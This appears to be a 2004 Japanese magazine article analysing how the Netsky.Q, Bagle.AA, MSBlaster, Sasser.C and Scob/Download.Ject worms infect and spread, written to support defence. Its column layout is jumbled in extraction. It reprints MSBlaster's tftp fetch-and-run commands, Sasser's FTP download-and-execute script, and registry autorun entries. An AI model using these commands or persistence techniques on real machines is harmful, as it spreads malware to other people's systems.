ウイルスはどのように感染するのか

敵を知り、防御法を知れば、危うからず!
ウイルス
ワーム の
近年、「MSBlaster」や「Sasser」などに代表されるコンピュータウイルスによる
被害が拡大している。本連載では、まずそれらのウイルスの特徴や動作を分析し、各
ウイルスの特徴に合わせた防御法について解説していく。今回は、5つの代表的なウ
イルス/ワームを取り上げ、それらの具体的な感染動作を見ていく。
第2回
ウイルスはどのように感染するのか
ワームは電子メール感染型と
セキュリティホール直接攻撃型に大別される
本誌2004年9月号の本連載第1回で説明したように、ワ
・data.eml[100個のスペース].scr
・mail.eml[100個のスペース].scr
・msg.eml[100個のスペース].scr
・message.eml[100個のスペース].scr
ームは電子メールを媒介して感染するもの(電子メール
感染型 )と、コンピュータのセキュリティホールを突い
上記のファイル名の中に100個のスペースが入ってい
て直接侵入するもの(ネットワーク感染型)との2種類
るのは、
「.scr」という拡張子を隠すためである。電子メ
に大別される。今回は、電子メールを媒介して感染する
ールのサブジェクトや本文は次のようになっており、あ
ワームの代表例として「Netsky」と「Bagle」を、セキ
たかも自分が過去に送信した電子メールのエラーが返っ
ュリティホールを利用して感染するワームの代表例とし
てきたかのような内容となっている。
て「MSBlaster」と「Sasser」を、さらに最近話題とな
った、Webサイトを閲覧するだけで感染する
【ワームメールの例】
「Scob/Dow nload.Ject」を取り上げ、それらのワームが
From: [email protected]
コンピュータに感染した際にどのように動作するのかを
To: [email protected]
解説する。
Subject: Delivered Message ([email protected])
大量メール送信、DoS攻撃を行う
「Netsky.Q」の生態
それではまず、電子メールを媒介として感染するワー
ムの代表として、
「Netsky.Q」の動作を紹介する。
Netsky.Qは、2004年3月28日に発見された大量メール
Mail Transaction Failed - This mail couldn't be
converted
------------- failed message ------------%x$BrLU7TcmW7:d'OwD*I2.Wy9?E(N:?$tZsj$wP,?z
8Yna>
送信型ワーム(マスメーリングワーム)であり、コンピ
_*g?t<.LRR?VGJ6BOP-tpZ7'6OsL0vBBi*|L&Jcth?O
ュータのセキュリティホールを利用して感染する。電子
'AeyA?C43D),pP9a$Gg*m)A6+dZ5yO'25GX+pHQ?o
メールの送信者は偽造され、ワーム本体である添付ファ
+'Y
イルの拡張子は「.pif」または「.zip」のいずれかである。
U4U'x$znd0*O&D1_4sGK?I3$h8XH:gyU9ng
拡張子が「.zip」である場合、アーカイブの中身は、次
のいずれかになる。
98
NETWORKWORLD
Modified message has been sent as a binary
Oct 2004
ウイルス
attachment.
ワーム の
・ZIPO3.TXT(BASE64でエンコードされたワームを含
むZIPアーカイブのコピー)
添付ファイル:mail23496.pif
・BASE64.TMP(BASE64でエンコードされたワーム
の実行ファイルのコピー)
通常は、添付ファイルを実行しなければワームには感
染しない。しかしNetsky.Qは、
「不適切なMIMEヘッダ
・ZIPPEDBASE64.TMP(ワームの実行ファイルを含む
ZIPアーカイブの一時コピー)
ーが原因でInternet Explorer(IE)が電子メールの添付
ファイルを実行する」というIEのセキュリティホール
続いて、Windows起動時にワーム本体である
(MS01-020)を利用しているので、OutlookやOutlook
SYSMONXP.EXEが自動実行されるようにレジストリ
Expressを使っているコンピュータ上で電子メールをオ
に次のエントリを追加する。
ープンしたり、プレビューしたりするだけで感染してし
まう。ただし、このセキュリティホールは2001年3月に
場所:HKEY_LOCAL_MACHINE¥Software¥Micro
発見されたものであるため、現在のWindowsXPには存
在しない。しかし、WindowsXP上で添付ファイルを手
soft¥Windows¥CurrentVersion¥Run
値 :SysMonXP = "C:¥Windows¥SysMonXP.exe"
動で実行するともちろん感染する。
ワームのプログラムが実行されると、次のファイルを
さらに、「_-oOaxX︱-+S+-+k+-+y+-+N+-+e+-+t+-︱
Windowsフォルダ
(例えばWindowsXPでは「C:¥Win
XxKOo-_ 」というミューテックスを作成する。ミューテ
dows」
)に作成する(図1)
。
ックスとは、同じプログラムが重複して起動するのを防
ぐための仕組みである。前述したミューテックスが存在
・FIREWALLLOGGER.TXT(ワーム本体が使用する
DLL)
する場合は、すでにNetsky.Qが起動していると判断し
て、新たにワームが起動されることはない。
・SYSMONXP.EXE(ワーム本体)
ミューテックスの作成に成功した場合は、ほかのユー
・ZIPO0.TXT(BASE64でエンコードされたワームを含
むZIPアーカイブのコピー)
ザーに対してワームメールを送信する目的で、CD-ROM
ドライブを除くC∼Zドライブ内のファイルを検索し、電
・ZIPO1.TXT(BASE64でエンコードされたワームを含
むZIPアーカイブのコピー)
子メールアドレスを収集する。ただし、アンチウイルス
ベンダーのメールアドレスと思われるものは除かれる。
・ZIPO2.TXT(BASE64でエンコードされたワームを含
むZIPアーカイブのコピー)
続いて、ターゲットとなったユーザーのメールサーバを
DNSを使用して検索し、ワームメールを送信する。
Netsky.Qは、起動時に日
付が2004年3月30日午前5時
11分以降であった場合はビ
①外部からワームメールが
送信される
ープ音を鳴らす。また、起
動時に日付が2004年4月8日
∼11日であった場合は、80
②添付ファイルを実行
のスレッドを起動し、それ
④ワームメールを送信
③電子メールアドレスを収集
⑤2004/3/30 5:11以降
であればビープ音を鳴らす
ぞれ次のサイトに対して
ターゲットサイトの
メールサ ーバ
ターゲットPC
250ミリ秒間隔で送信し続け
て、DoS攻撃を行う。
Netsky.Q感染PC
⑥2004/4/8∼11の場合
はDos攻撃を行う
HTTPのGETリクエストを
⑦250ミリ秒間隔でHTTP接続
・www.edonkey2000.com
図1● Netsky.Qは電子メールの添付ファイルが実行されると感染し、DoS攻撃を行う
特定のWebサーバ
・www.kazaa.com
NETWORKWORLD
Oct 2004
99
・www.emule-project.net
れる電子メールアドレスを収集して、それらのアドレス
・www.cracks.am
に対してワームメールを送信する。ただし、あらかじめ
・www.cracks.st
決められた文字列を含む電子メールアドレスに対しては
送信を行わない。収集した電子メールアドレスは、送信
現在も、Netskyの亜種が続々と作成されており、本稿
者アドレスとしても利用される。
執筆時点ではNetsky.ACが最新となっている。
Netsky.ACは、アンチウイルスソフトベンダーから送付
【ワームメールの例】
From: [email protected]
された駆除ツールを偽っている。
To: [email protected]
大量メール送信、バックドアの作成
「Bagle.AA」の生態
Subject: Re: Text message
添付ファイル:Manufacture.scr
「Bagle」の最初のバージョンは、2004年1月に発見さ
れた。その後、亜種が次々と登場し、2004年4月28日に
また、Bagle.AAは「shar」という文字列を含むフォ
はBagle.AAが出現した。その名称は、マカフィーでは
ルダすべてに自身のコピーを作成する。これにより、共
「 W 3 2 / B a g l e . a a @ M M 」、 ト レ ン ド マ イ ク ロ で は
有フォルダとして作成された「share」などの名前が付
「WORM_BAGLE.Z」
、シマンテックでは「W32.Beagle.
いたフォルダにワームプログラムがコピーされ、ファイ
X@mm」と各ベンダーで異なっている。
ル共有やP2Pアプリケーションを経由しての拡散が行わ
ワームメールの添付ファイルが実行されると、Bagle.
れることになる。
AAは自身のコピーを、Windowsシステムフォルダ
(WindowsXPの場合は「C:¥Windows¥System32」
)内
に次のファイル名で作成する(図2)
。
さらに、前述したNetskyの駆除を行う。具体的には、
Windowsのレジストリを検索して、Netskyが作成した
レジストリ値を削除する。それと同時に、Netskyが作成
したミューテックスを作成し、ターゲットPCがNetsky
・drvddll.exe
に感染しないようにする。
・drvddll.exeopen
・drvddll.exeopenopen
TCP SYN Flood攻撃を行う
「MSBlaster.A」の生態
続いて、OS起動時にワームのプログラムが自動実行さ
れるように、Windowsのレジストリに次のエントリを追
「MSBlaster(MSBlaster.A)
」は、2003年8月11日に
加する。
場所:HKEY_CURRENT_USE
①外部からワームメールが
送信される
ターゲットサイトの
メールサ ーバ
R¥Software¥Microsoft
¥Windows¥CurrentVer
ターゲットPC
②添付ファイル実行
sion¥Run
④ワームメールを送信
値 :drvddll.exe = “C:¥Win
③電子メールアドレスを収集
dows¥System32¥drvd
dll. exe"
Bagle.AA感染PC
⑤「shar」という文字列を含
むすべてのフォルダにコピ
ーを作成
⑥ファイル共有やP2Pアプリケーションを介して感染
次にBagle.AAは、あらかじ
⑦Netskyを無効化
め決められた拡張子のファイル
を検索し、そのファイルに含ま
100
NETWORKWORLD
Oct 2004
ターゲットPC
図2● Bagle.AAは、ファイル共有やP2Pアプリケーションを介しても感染する
ウイルス
発見されたワームであり、Win
①135/TCPに接続してリモートシェルを起動
dowsの「RPC DCOMバッファ
③TFTPサーバ
を起動
④4444/TCPに接続してTFTP
シェルコマンドを送信
オーバーフロー」のセキュリティ
ホール(MS03-026)を利用して
自己増殖する。
⑥69/UDPにTFTP接続
MSBlaster.A感染PC
⑦ワーム本体をダウンロード
MSBlaster.Aに感染したPCは、
ランダムにIPアドレスを生成し、
ワーム の
②4444/TCPのバックドア
を作成
⑤TFTPシェルコマンドを
実行
⑧ワームを起動
ターゲットPC
図3● Windowsのセキュリティホールを利用して感染し、
「windowsupdate.com」へDoS攻撃を行う、MSBlaster.Aの生態
そのIPアドレスをターゲットとし
①445/TCPをスキャン
て135/TCPへのアクセスを試み
る。135/TCPへのアクセスに対
②445/TCPに再接続してOSバナーを取得
して応答が返ってきた場合は、前
③445/TCPに再接続してリモートシェルを起動
述したWindowsのセキュリティ
ホールを攻撃するコードを送信す
⑤9996/TCPに接続してFTPシェルコマンドを送信
Sasser.C感染PC
る。この攻撃コードは、80%の確
⑦5554/TCPにFTP接続
⑧FTPデータポートに接続してワーム本体をダウンロード
④9996/TCPのバック
ドアを作成
⑥FTPシェルコマンドを
実行
ターゲットPC
⑨ワームを起動
率でWindowsXP用のものが、
20%の確率でWindows2000用の
図4● バックドアの作成やFTPシェルスクリプトなどを組み合わせて感染する、Sasser.Cの生態
ものが送信される。
攻撃に成功すると、そのターゲットPC上で4444/TCP
「BILLY」というミューテックスの作成を試みる。この
で待ち受けるリモートシェルが起動される。続いて、攻
時ミューテックスの作成に失敗すると、すでにそのPCは
撃元のPCはTFTPサーバを起動し、ターゲットPCの
MSBlaster.Aに感染していると判断し、活動をストップ
4444/TCPに接続して次のコマンドを送信する(図3)
。
する。ミューテックスの作成に成功すると、20のスレッ
ドを起動して感染活動を開始する。
tftp -i[MSBlaster感染PCのIPアドレス]GET msblast.
MSBlasterは、次のようにして最初の攻撃先IPアドレ
exe
スを決定する。その後は、シーケンシャルにアドレスを
start msblast.exe
増加していくことによって、攻撃先IPアドレスを次々と
msblast.exe
生成していく。
ターゲットPCは、このコマンドを実行することで、
TFTPを使用してワーム本体である「msblast.exe」を
攻撃元のPCからダウンロードする。ダウンロードされた
msblast.exeは、Windowsシステムフォルダ(Windows
・60%の確率:IPアドレス「A.B.C.0」のA、B、Cの値
をランダムに決定
・40%の確率:IPアドレス「A.B.C.0」のA、Bの値は自
身のIPアドレスと同値、Cの値はランダムに決定
XPの場合は「C:¥Windows¥system32」
)に作成される。
次に、ターゲットPC上でダウンロードされたワームプ
ログラムが実行される。その後、OS起動時にこのワーム
プログラムが実行されるように、レジストリに次のエン
トリを追加する。
また、ワームプログラムが起動された日が1∼8月かつ
16∼31日であった場合、または9∼12月であった場合は、
「windo wsupdate.com」の80/TCPに対してDoS攻撃を
行う。この攻撃は「TCP SYN Flood攻撃」と呼ばれ、
TCP SYNパケットを20ミリ秒間隔で送信し続ける。
場所:HKEY_LOCAL_MACHINE¥SOFTWARE¥Micro
soft¥Windows¥CurrentVersion¥Run
値 :"windows auto update" = "MSBLAST.EXE"
さらに、自身が重複して実行されることを防ぐために
FTPシェルスクリプトで自身をコピー
「Sasser.C」の生態
「Sasser」は、2004年4月30日に発見されたワームで
NETWORKWORLD
Oct 2004 101
あり、Windowsの「Local Security Authority Subsys
続いて、Sasser本体をダウンロードし、Windowsのシ
tem Service(LSASS)
」のセキュリティホール(MS04-
ステムフォルダ(WindowsXPの場合は「C:¥Windows
011)を利用して自己増殖する。
「Sasser.C」は、その亜
¥system32」
)に置く。ダウンロードされるSasser本体
種であり、5月2日に発見されている。
のファイル名は「8609_up.exe」といったもので、数字
Sasser.Cに感染したPCは、ランダムにIPアドレスを生
の部分はランダムに決められる。このようにして取得さ
成し、そのIPアドレスの445/TCPにアクセスを試みる
れたワームプログラムが、ターゲットPC上で実行される
(前ページの図4)
。445/TCPへのアクセスに対して応答
のである。
が返ってきた場合は、一度そのセッションを終了して
ワームプログラムが実行されると、自身をWindowsフ
445/TCPに再接続し、OS特定のためのバナーを取得し
ォルダ(WindowsXPの場合は「C:¥Windows」
)に「a
てそのセッションを終了する。その後再度445/TCPに再
vserve2.exe」としてコピーし、OS起動時にこのファイ
接続し、取得したバナーを基にLSASSのセキュリティホ
ルが実行されるようにレジストリに次のエントリを追加
ールを突く攻撃コードを送信してバックドアを仕掛ける。
する。
このバックドアは、9996/TCPポートをオープンして待
場所:HKEY_LOCAL_MACHINE¥SOFTWARE¥Micro
ち受けるものだ。
さらに、ワーム感染PCはターゲットPCの9996/TCP
に接続し、ワーム本体をダウンロードさせるためのFTP
soft¥Windows¥CurrentVersion¥Run
値 :"avserve2.exe"="C:¥Windows¥avserve2.exe"
シェルスクリプト(リスト1)を送信してターゲットPC
上で実行する。
続いて、
「JumpallsNlsTillt」というミューテックスの
このスクリプトは、まず「cmd.ftp」というファイル
作成が試みられる。ミューテックスの作成に失敗すれば、
に、FTPで送信するコマンドを順次追加する。次に、そ
すでにそのPCはSasser.Cに感染していると判断され、ワ
の「cmd.ftp」をWindows標準のftpコマンドに流し込ん
ームは活動を停止する。ミューテックスの作成に成功す
で実行する。これにより、ターゲットPCは、Sasser感染
ると、5554/TCPでFTPサーバを起動する。その後、
PCの5554/TCPポートに対してFTP接続してanony
1,024のスレッドを起動して感染活動を開始する。感染先
mousでログインする。
のIPアドレスは次のように決定される。
・52%の確率:IPアドレス「A.B.C.D」のA、B、C、D
の値をランダムに決定
echo off&
echo open [Sasser感染PCのIPアドレス]
5554>>cmd.ftp&
echo anonymous>>cmd.ftp&
・23%の確率:IPアドレス「A.B.C.D」のAは自身のIP
アドレスと同値、B、C、Dはランダムに決定
・25%の確率:IPアドレス「A.B.C.D」のA、Bは自身の
IPアドレスと同値、C、Dはランダムに決定
echo user&
echo bin>>cmd.ftp&
echo get [ランダムな数字]_up.exe>>cmd
.ftp&
echo bye>>cmd.ftp&
echo on&
「Scob.A」および「Download.Ject」は、マイクロソ
ftp -s:cmd.ftp&
[ランダムな数字]_up.exe&
echo off&
ビス)5.0に存在するセキュリティホールを利用するウイ
Scob.Aは、まずIISサーバのSSL/PCT(Private
echo on
Communi cations Transport)のセキュリティホール
リスト1● Sasserがワーム本体をダウンロードするのに用いるFTPシェルスクリプト
NETWORKWORLD
フトのIEとIIS(インターネットインフォメーションサー
ルスである。
del cmd.ftp&
102
Webサイト閲覧感染型ウイルス
「Scob.A」および「Download.Ject」の生態
Oct 2004
(MS04-011)を悪用して感染し、Webサーバ上のJPEG、
ウイルス
攻撃者
ワーム の
①Webページに不正な
JavaScriptを付加
②JavaScriptが埋め込まれたWebページを閲覧
③JavaScriptが埋め込まれたファイルをダウンロード
④JavaScript実行
⑤ロシアのWebサーバに
リダイレクト
感染した
IISサーバ
⑥JavaScript(shellscript_loader.js)をダウンロード
⑦JavaScript実行
⑧shellscript.jsのダウンロードを指示
ターゲット感染PC
⑨JavaScript(shellscript.js)をダウンロード
⑩JavaScript実行
⑪msits.exeのダウンロードを指示
⑬トロイの木馬を
インストール
ロシアの
Webサーバ
⑫トロイの木馬(msits.exe)をダウンロード
図5● 不正なJavaScriptをWebサイトに埋め込
み、ほかのWebサイトにリダイレクトさせて感染す
る、Scob.AおよびDownload.Jectの生態
GIF、HTMLファイルなどにJavaScriptとして埋め込ま
してほかのサイトに送信するものもあることが確認され
れる(図5)
。このスクリプトは、IISの「Document Foo
ている。msits.exeをダウンロードすると、ファイル名を
ter」機能を有効にすることですべてのドキュメントに付
「wmplayer.exe」とリネームし、
「C:¥Program Files¥
加される。
ユーザーがScobに感染したWebサイトを閲覧し、埋め
Windows Media Player」へコピーする。該当フォルダ
には、正規のWindows Media Playerファイルである
込まれたJava Scriptが実行されると、ユーザーのPCに
「wmplayer.exe」が存在するが、これに上書きされる。
保存されているクッキーのファイルからファイル名に
こうして、ユーザーがWindows Media Playerを使用し
「trk716」という文字列が含まれているものを検索する。
このクッキーが存在しなかった場合は、まだScobが実行
されていないと判断し、ロシアのWebサイト(現在は閉
鎖されている)にリダイレクトされる。ここで、
「trk716」
というファイル名のクッキーファイルが作成される。
た際にトロイの木馬が活動するようになる。
また、Scob.Aはシステムのクッキーを設定し、1週間
以上の頻度で当該Webサイトにアクセスする。
なお、IISサーバのSSL/PCTのセキュリティホールに
対するパッチは公開されているが、本稿執筆時点では、
ロシアのWebサイトにリダイレクトされると、
「md.
IEのクロスゾーンスクリプティングのセキュリティホー
htm」ファイルをダウンロードし、さらに「shellscript_
ルについては、まだ根本的に解決するパッチが公開され
loader.js」というDownload.Jectが含まれたJavaScript
ていない。現時点では、JavaScriptを無効にするなどの
ファイルをダウンロードして、
「md.htm」の内容を置き
対策を行うことで攻撃を回避する必要がある。
換える。続いて、
「MYIFRAME」というフレームをオ
ープンし、
「shellscript.js」というJavaScriptファイルを
以上、代表的なウイルス/ワームを取り上げ、具体的
ダウンロードする。Download.Jectは、クロスゾーンス
な感染の動きについて紹介した。次回は、このようなウ
クリプティングのセキュリティホールを悪用し、ユーザ
イルス/ワームをどのようにして検知・駆除しているの
ーに知られることなく「msits.exe」というトロイの木馬
か、現在のクライアントPC上でのウイルス対策について
をダウンロードしてインストールする。
解説する。
このトロイの木馬には、パスワードなどの情報を収集
NTTデータ 馬場達也
NETWORKWORLD
Oct 2004 103